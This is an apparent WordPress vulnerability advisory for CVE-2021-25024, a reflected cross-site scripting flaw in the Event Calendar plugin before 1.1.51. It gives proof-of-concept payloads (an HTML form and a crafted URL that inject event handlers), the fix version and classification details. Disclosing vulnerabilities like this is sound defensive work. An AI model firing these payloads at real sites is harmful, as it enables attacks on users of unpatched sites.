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WordPress Plugin Vulnerabilities

Event Calendar < 1.1.51 - Reflected Cross-Site Scripting

Description

The plugin does not escape some user input before outputting it back in attributes, leading to Reflected Cross-SIte Scripting issues

Proof of Concept

<html>
    <form action="https://example.com/wp-admin/admin-ajax.php?action=ecwd_event_popup_ajax" method="POST">
        <input type="text" value='" onmouseover=alert(/XSS/) p' name="id">
        <input type="submit" value="Send">
    </form>
</html>

And move the mouse over the 'Untitled' text

(Firefox only): https://example.com/wp-admin/edit.php?post_type=ecwd_event&page=ecwd_general_settings&tab=%22+accesskey%3Dx+onclick%3Dalert%281%29+p 

Affects Plugins

event-calendar-wd
Fixed in version 1.1.51

References

CVE
CVE-2021-25024

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc
Verified

Yes

WPVDB ID
08864b76-d898-4dfe-970d-d7cc1b1115a7

Timeline

Publicly Published

2021-12-20 (about 1 years ago)

Added

2021-12-20 (about 1 years ago)

Last Updated

2022-04-16 (about 11 months ago)

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